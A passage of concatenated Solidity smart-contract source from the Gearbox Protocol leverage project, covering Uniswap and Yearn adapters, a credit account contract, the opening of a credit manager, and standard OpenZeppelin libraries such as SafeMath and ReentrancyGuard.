IERC20(paramsUpdate.tokenOut).balanceOf(creditAccount).sub(
balanceOutBefore
)
);
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params)
external
payable
override
nonReentrant
returns (uint256 amountOut)
{
address creditAccount = creditManager.getCreditAccountOrRevert(
msg.sender
);
(address tokenIn, address tokenOut) = _extractTokens(params.path);
creditManager.provideCreditAccountAllowance(
creditAccount,
router,
tokenIn
);
ExactInputParams memory paramsUpdate = params;
paramsUpdate.recipient = creditAccount;
uint256 balanceInBefore = IERC20(tokenIn).balanceOf(creditAccount);
uint256 balanceOutBefore = IERC20(tokenOut).balanceOf(creditAccount);
{
// 0xc04b8d59 = exactInput((bytes,address,uint256,uint256,uint256))
bytes memory data = abi.encodeWithSelector(
bytes4(0xc04b8d59), // +
paramsUpdate
);
(amountOut) = abi.decode(
creditManager.executeOrder(msg.sender, router, data),
(uint256)
);
}
creditFilter.checkCollateralChange(
creditAccount,
tokenIn,
tokenOut,
balanceInBefore.sub(IERC20(tokenIn).balanceOf(creditAccount)),
IERC20(tokenOut).balanceOf(creditAccount).sub(balanceOutBefore)
);
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params)
external
payable
override
nonReentrant
returns (uint256 amountIn)
{
address creditAccount = creditManager.getCreditAccountOrRevert(
msg.sender
);
creditManager.provideCreditAccountAllowance(
creditAccount,
router,
params.tokenIn
);
ExactOutputSingleParams memory paramsUpdate = params;
paramsUpdate.recipient = creditAccount;
//
bytes memory data = abi.encodeWithSelector(
bytes4(0xdb3e2198), //+
paramsUpdate
);
uint256 balanceInBefore = IERC20(paramsUpdate.tokenIn).balanceOf(
creditAccount
);
uint256 balanceOutBefore = IERC20(paramsUpdate.tokenOut).balanceOf(
creditAccount
);
(amountIn) = abi.decode(
creditManager.executeOrder(msg.sender, router, data),
(uint256)
);
creditFilter.checkCollateralChange(
creditAccount,
params.tokenIn,
params.tokenOut,
balanceInBefore.sub(
IERC20(paramsUpdate.tokenIn).balanceOf(creditAccount)
),
IERC20(paramsUpdate.tokenOut).balanceOf(creditAccount).sub(
balanceOutBefore
)
);
}
/// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params)
external
payable
override
nonReentrant
returns (uint256 amountIn)
{
address creditAccount = creditManager.getCreditAccountOrRevert(
msg.sender
);
(address tokenOut, address tokenIn) = _extractTokens(params.path);
creditManager.provideCreditAccountAllowance(
creditAccount,
router,
tokenIn
);
ExactOutputParams memory paramsUpdate = params;
paramsUpdate.recipient = creditAccount;
uint256 balanceInBefore = IERC20(tokenIn).balanceOf(creditAccount);
uint256 balanceOutBefore = IERC20(tokenOut).balanceOf(creditAccount);
{
bytes memory data = abi.encodeWithSelector(
bytes4(0xf28c0498), // exactOutput((bytes,address,uint256,uint256,uint256))
paramsUpdate
);
(amountIn) = abi.decode(
creditManager.executeOrder(msg.sender, router, data),
(uint256)
);
}
creditFilter.checkCollateralChange(
creditAccount,
tokenIn,
tokenOut,
balanceInBefore.sub(IERC20(tokenIn).balanceOf(creditAccount)),
IERC20(tokenOut).balanceOf(creditAccount).sub(balanceOutBefore)
);
}
function _extractTokens(bytes memory path)
internal
pure
returns (address tokenA, address tokenB)
{
tokenA = path.toAddress(0);
tokenB = path.toAddress(path.length - ADDR_SIZE);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {ICreditFilter} from "../interfaces/ICreditFilter.sol";
import {ICreditManager} from "../interfaces/ICreditManager.sol";
import {IYVault} from "../integrations/yearn/IYVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {CreditAccount} from "../credit/CreditAccount.sol";
import {CreditManager} from "../credit/CreditManager.sol";
import {Constants} from "../libraries/helpers/Constants.sol";
import {Errors} from "../libraries/helpers/Errors.sol";
/// @title Yearn adapter
contract YearnAdapter is IYVault, ReentrancyGuard {
using SafeMath for uint256;
address public yVault;
address public override token;
ICreditManager public creditManager;
ICreditFilter public creditFilter;
/// @dev Constructor
/// @param _creditManager Address Credit manager
/// @param _yVault Address of yVault
constructor(address _creditManager, address _yVault) {
require(
_creditManager != address(0) && _yVault != address(0),
Errors.ZERO_ADDRESS_IS_NOT_ALLOWED
);
creditManager = ICreditManager(_creditManager);
creditFilter = ICreditFilter(creditManager.creditFilter());
yVault = _yVault;
// Check that we have token connected with this yearn pool
token = IYVault(yVault).token();
creditFilter.revertIfTokenNotAllowed(token);
}
/// @dev Deposit credit account tokens to Yearn
function deposit() external override nonReentrant returns (uint256) {
// bytes4(0xd0e30db0) = deposit()
return _deposit(abi.encodeWithSelector(bytes4(0xd0e30db0))); // M:[YA-1]
}
/// @dev Deposit credit account tokens to Yearn
/// @param amount in tokens
function deposit(uint256 amount)
external
override
nonReentrant
returns (uint256)
{
// bytes4(0xb6b55f25) = deposit
return _deposit(abi.encodeWithSelector(bytes4(0xb6b55f25), amount)); // M:[YA-2]
}
/// @dev Deposit credit account tokens to Yearn
/// @param amount in tokens
function deposit(uint256 amount, address)
external
override
nonReentrant
returns (uint256)
{
// bytes4(0xb6b55f25) = deposit
return _deposit(abi.encodeWithSelector(bytes4(0xb6b55f25), amount)); // M:[YA-2]
}
function _deposit(bytes memory data) internal returns (uint256 shares) {
address creditAccount = creditManager.getCreditAccountOrRevert(
msg.sender
); // M:[YA-1,2]
creditManager.provideCreditAccountAllowance(
creditAccount,
yVault,
token
); // M:[YA-1,2]
uint256 balanceInBefore = IERC20(token).balanceOf(creditAccount); // M:[YA-1,2]
uint256 balanceOutBefore = IERC20(yVault).balanceOf(creditAccount); // M:[YA-1,2]
shares = abi.decode(
creditManager.executeOrder(msg.sender, yVault, data),
(uint256)
); // M:[YA-1,2]
creditFilter.checkCollateralChange(
creditAccount,
token,
yVault,
balanceInBefore.sub(IERC20(token).balanceOf(creditAccount)),
IERC20(yVault).balanceOf(creditAccount).sub(balanceOutBefore)
); // M:[YA-1,2]
}
function withdraw() external override nonReentrant returns (uint256) {
// bytes4(0x3ccfd60b) = withdraw()
return _withdraw(abi.encodeWithSelector(bytes4(0x3ccfd60b))); // M:[YA-3]
}
function withdraw(uint256 maxShares)
external
override
nonReentrant
returns (uint256)
{
// bytes4(0x2e1a7d4d) = withdraw(uint256)
return _withdraw(abi.encodeWithSelector(bytes4(0x2e1a7d4d), maxShares));
}
function withdraw(uint256 maxShares, address)
external
override
nonReentrant
returns (uint256)
{
// Call the function with MaxShares only, cause recepient doesn't make sense here
// bytes4(0x2e1a7d4d) = withdraw(uint256)
return _withdraw(abi.encodeWithSelector(bytes4(0x2e1a7d4d), maxShares));
}
/// @dev Withdraw yVaults from credit account
/// @param maxShares How many shares to try and redeem for tokens, defaults to all.
// @param recipient The address to issue the shares in this Vault to. Defaults to the caller's address.
// @param maxLoss The maximum acceptable loss to sustain on withdrawal. Defaults to 0.01%.
// If a loss is specified, up to that amount of shares may be burnt to cover losses on withdrawal.
// @return The quantity of tokens redeemed for `_shares`.
function withdraw(
uint256 maxShares,
address,
uint256 maxLoss
) public override nonReentrant returns (uint256 shares) {
address creditAccount = creditManager.getCreditAccountOrRevert(
msg.sender
); // M:[YA-3]
return
_withdraw(
abi.encodeWithSelector(
bytes4(0xe63697c8), //"withdraw(uint256,address,uint256)",
maxShares,
creditAccount,
maxLoss
)
); // M:[YA-3])
}
function _withdraw(bytes memory data) internal returns (uint256 shares) {
address creditAccount = creditManager.getCreditAccountOrRevert(
msg.sender
); // M:[YA-3]
uint256 balanceInBefore = IERC20(yVault).balanceOf(creditAccount); // M:[YA-3]
uint256 balanceOutBefore = IERC20(token).balanceOf(creditAccount); // M:[YA-3]
shares = abi.decode(
creditManager.executeOrder(msg.sender, yVault, data),
(uint256)
); // M:[YA-3]
creditFilter.checkCollateralChange(
creditAccount,
yVault,
token,
balanceInBefore.sub(IERC20(yVault).balanceOf(creditAccount)),
IERC20(token).balanceOf(creditAccount).sub(balanceOutBefore)
); // M:[YA-3]
}
function pricePerShare() external view override returns (uint256) {
return IYVault(yVault).pricePerShare();
}
function name() external view override returns (string memory) {
return IYVault(yVault).name();
}
function symbol() external view override returns (string memory) {
return IYVault(yVault).symbol();
}
function decimals() external view override returns (uint8) {
return IYVault(yVault).decimals();
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return IYVault(yVault).allowance(owner, spender);
}
function approve(address, uint256) external pure override returns (bool) {
return true;
}
function balanceOf(address account)
external
view
override
returns (uint256)
{
return IYVault(yVault).balanceOf(account);
}
function totalSupply() external view override returns (uint256) {
return IYVault(yVault).totalSupply();
}
function transfer(address, uint256) external pure override returns (bool) {
revert(Errors.NOT_IMPLEMENTED);
}
function transferFrom(
address,
address,
uint256
) external pure override returns (bool) {
revert(Errors.NOT_IMPLEMENTED);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
/// @title Optimised for front-end Address Provider interface
interface IAppAddressProvider {
function getDataCompressor() external view returns (address);
function getGearToken() external view returns (address);
function getWethToken() external view returns (address);
function getWETHGateway() external view returns (address);
function getPriceOracle() external view returns (address);
function getLeveragedActions() external view returns (address);
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
pragma abicoder v2;
import {DataTypes} from "../../libraries/data/Types.sol";
/// @title Optimised for front-end credit Manager interface
/// @notice It's optimised for light-weight abi
interface IAppCreditManager {
function openCreditAccount(
uint256 amount,
address onBehalfOf,
uint256 leverageFactor,
uint256 referralCode
) external;
function closeCreditAccount(address to, DataTypes.Exchange[] calldata paths)
external;
function repayCreditAccount(address to) external;
function increaseBorrowedAmount(uint256 amount) external;
function addCollateral(
address onBehalfOf,
address token,
uint256 amount
) external;
function calcRepayAmount(address borrower, bool isLiquidated)
external
view
returns (uint256);
function getCreditAccountOrRevert(address borrower)
external
view
returns (address);
function hasOpenedCreditAccount(address borrower)
external
view
returns (bool);
function defaultSwapContract() external view returns (address);
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
/// @title DataType library
/// @notice Contains data types used in data compressor.
library DataTypes {
struct Exchange {
address[] path;
uint256 amountOutMin;
}
struct TokenBalance {
address token;
uint256 balance;
bool isAllowed;
}
struct ContractAdapter {
address allowedContract;
address adapter;
}
struct CreditAccountData {
address addr;
address borrower;
bool inUse;
address creditManager;
address underlyingToken;
uint256 borrowedAmountPlusInterest;
uint256 totalValue;
uint256 healthFactor;
uint256 borrowRate;
TokenBalance[] balances;
}
struct CreditAccountDataExtended {
address addr;
address borrower;
bool inUse;
address creditManager;
address underlyingToken;
uint256 borrowedAmountPlusInterest;
uint256 totalValue;
uint256 healthFactor;
uint256 borrowRate;
TokenBalance[] balances;
uint256 repayAmount;
uint256 liquidationAmount;
bool canBeClosed;
uint256 borrowedAmount;
uint256 cumulativeIndexAtOpen;
uint256 since;
}
struct CreditManagerData {
address addr;
bool hasAccount;
address underlyingToken;
bool isWETH;
bool canBorrow;
uint256 borrowRate;
uint256 minAmount;
uint256 maxAmount;
uint256 maxLeverageFactor;
uint256 availableLiquidity;
address[] allowedTokens;
ContractAdapter[] adapters;
}
struct PoolData {
address addr;
bool isWETH;
address underlyingToken;
address dieselToken;
uint256 linearCumulativeIndex;
uint256 availableLiquidity;
uint256 expectedLiquidity;
uint256 expectedLiquidityLimit;
uint256 totalBorrowed;
uint256 depositAPY_RAY;
uint256 borrowAPY_RAY;
uint256 dieselRate_RAY;
uint256 withdrawFee;
uint256 cumulativeIndex_RAY;
uint256 timestampLU;
}
struct TokenInfo {
address addr;
string symbol;
uint8 decimals;
}
struct AddressProviderData {
address contractRegister;
address acl;
address priceOracle;
address traderAccountFactory;
address dataCompressor;
address farmingFactory;
address accountMiner;
address treasuryContract;
address gearToken;
address wethToken;
address wethGateway;
}
struct MiningApproval {
address token;
address swapContract;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.7.4;
import {Errors} from "../helpers/Errors.sol";
/**
* @title PercentageMath library
* @author Aave
* @notice Provides functions to perform percentage calculations
* @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR
* @dev Operations are rounded half up
**/
library PercentageMath {
uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals
uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2;
/**
* @dev Executes a percentage multiplication
* @param value The value of which the percentage needs to be calculated
* @param percentage The percentage of the value to be calculated
* @return The percentage of value
**/
function percentMul(uint256 value, uint256 percentage)
internal
pure
returns (uint256)
{
if (value == 0 || percentage == 0) {
return 0; // T:[PM-1]
}
require(
value <= (type(uint256).max - HALF_PERCENT) / percentage,
Errors.MATH_MULTIPLICATION_OVERFLOW
); // T:[PM-1]
return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR; // T:[PM-1]
}
/**
* @dev Executes a percentage division
* @param value The value of which the percentage needs to be calculated
* @param percentage The percentage of the value to be calculated
* @return The value divided the percentage
**/
function percentDiv(uint256 value, uint256 percentage)
internal
pure
returns (uint256)
{
require(percentage != 0, Errors.MATH_DIVISION_BY_ZERO); // T:[PM-2]
uint256 halfPercentage = percentage / 2; // T:[PM-2]
require(
value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR,
Errors.MATH_MULTIPLICATION_OVERFLOW
); // T:[PM-2]
return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.4;
interface ICurvePool {
function coins(uint256) external view returns (address);
function exchange(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function exchange_underlying(
int128 i,
int128 j,
uint256 dx,
uint256 min_dy
) external;
function get_dy_underlying(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function get_dy(
int128 i,
int128 j,
uint256 dx
) external view returns (uint256);
function get_virtual_price() external view returns (uint256);
}
// SPDX-License-Identifier: BUSL-1.1
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
import {Initializable} from "@openzeppelin/contracts/proxy/Initializable.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {ICreditAccount} from "../interfaces/ICreditAccount.sol";
import {Constants} from "../libraries/helpers/Constants.sol";
import {Errors} from "../libraries/helpers/Errors.sol";
/// @title Credit Account
/// @notice Implements generic credit account logic:
/// - Keeps token balances
/// - Stores general parameters: borrowed amount, cumulative index at open and block when it was initialized
/// - Approves tokens for 3rd party contracts
/// - Transfers assets
/// - Execute financial orders
///
/// More: https://dev.gearbox.fi/developers/credit/credit_account
contract CreditAccount is ICreditAccount, Initializable {
using SafeERC20 for IERC20;
using Address for address;
address public override factory;
// Keeps address of current credit Manager
address public override creditManager;
// Amount borrowed to this account
uint256 public override borrowedAmount;
// Cumulative index at credit account opening
uint256 public override cumulativeIndexAtOpen;
// Block number when it was initialised last time
uint256 public override since;
// Contract version
uint constant public version = 1;
/// @dev Restricts operation for current credit manager only
modifier creditManagerOnly {
require(msg.sender == creditManager, Errors.CA_CONNECTED_CREDIT_MANAGER_ONLY);
_;
}
/// @dev Initialise used instead of constructor cause we use contract cloning
function initialize() external override initializer {
factory = msg.sender;
}
/// @dev Connects credit account to credit account address. Restricted to account factory (owner) only
/// @param _creditManager Credit manager address
function connectTo(
address _creditManager,
uint256 _borrowedAmount,
uint256 _cumulativeIndexAtOpen
) external override {
require(msg.sender == factory, Errors.CA_FACTORY_ONLY);
creditManager = _creditManager; // T:[CA-7]
borrowedAmount = _borrowedAmount; // T:[CA-3,7]
cumulativeIndexAtOpen = _cumulativeIndexAtOpen; // T:[CA-3,7]
since = block.number; // T:[CA-7]
}
/// @dev Updates borrowed amount. Restricted for current credit manager only
/// @param _borrowedAmount Amount which pool lent to credit account
function updateParameters(uint256 _borrowedAmount, uint256 _cumulativeIndexAtOpen)
external
override
creditManagerOnly // T:[CA-2]
{
borrowedAmount = _borrowedAmount; // T:[CA-4]
cumulativeIndexAtOpen = _cumulativeIndexAtOpen;
}
/// @dev Approves token for 3rd party contract. Restricted for current credit manager only
/// @param token ERC20 token for allowance
/// @param swapContract Swap contract address
function approveToken(address token, address swapContract)
external
override
creditManagerOnly // T:[CA-2]
{
IERC20(token).safeApprove(swapContract, 0); // T:[CA-5]
IERC20(token).safeApprove(swapContract, Constants.MAX_INT); // T:[CA-5]
}
/// @dev Removes allowance token for 3rd party contract. Restricted for factory only
/// @param token ERC20 token for allowance
/// @param targetContract Swap contract address
function cancelAllowance(address token, address targetContract)
external
override
{
require(msg.sender == factory, Errors.CA_FACTORY_ONLY);
IERC20(token).safeApprove(targetContract, 0);
}
/// @dev Transfers tokens from credit account to provided address. Restricted for current credit manager only
/// @param token Token which should be transferred from credit account
/// @param to Address of recipient
/// @param amount Amount to be transferred
function safeTransfer(
address token,
address to,
uint256 amount
)
external
override
creditManagerOnly // T:[CA-2]
{
IERC20(token).safeTransfer(to, amount); // T:[CA-6]
}
/// @dev Executes financial order on 3rd party service. Restricted for current credit manager only
/// @param destination Contract address which should be called
/// @param data Call data which should be sent
function execute(address destination, bytes memory data)
external
override
creditManagerOnly
returns (bytes memory)
{
return destination.functionCall(data); // T: [CM-48]
}
}
// SPDX-License-Identifier: BUSL-1.1
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
pragma abicoder v2;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {PercentageMath} from "../libraries/math/PercentageMath.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {IAccountFactory} from "../interfaces/IAccountFactory.sol";
import {ICreditAccount} from "../interfaces/ICreditAccount.sol";
import {IPoolService} from "../interfaces/IPoolService.sol";
import {IWETHGateway} from "../interfaces/IWETHGateway.sol";
import {ICreditManager} from "../interfaces/ICreditManager.sol";
import {ICreditFilter} from "../interfaces/ICreditFilter.sol";
import {AddressProvider} from "../core/AddressProvider.sol";
import {ACLTrait} from "../core/ACLTrait.sol";
import {Constants} from "../libraries/helpers/Constants.sol";
import {Errors} from "../libraries/helpers/Errors.sol";
import {DataTypes} from "../libraries/data/Types.sol";
/// @title Credit Manager
/// @notice It encapsulates business logic for managing credit accounts
///
/// More info: https://dev.gearbox.fi/developers/credit/credit_manager
///
/// #define roughEq(uint256 a, uint256 b) bool =
/// a == b || a + 1 == b || a == b + 1;
///
/// #define borrowedPlusInterest(address creditAccount) uint =
/// let borrowedAmount, cumIndexAtOpen := getCreditAccountParameters(creditAccount) in
/// let curCumulativeIndex := IPoolService(poolService).calcLinearCumulative_RAY() in
/// borrowedAmount.mul(curCumulativeIndex).div(cumIndexAtOpen);
contract CreditManager is ICreditManager, ACLTrait, ReentrancyGuard {
using SafeMath for uint256;
using PercentageMath for uint256;
using SafeERC20 for IERC20;
using Address for address payable;
// Minimal amount for open credit account
uint256 public override minAmount;
// Maximum amount for open credit account
uint256 public override maxAmount;
// Maximum leveraged factor allowed for this pool
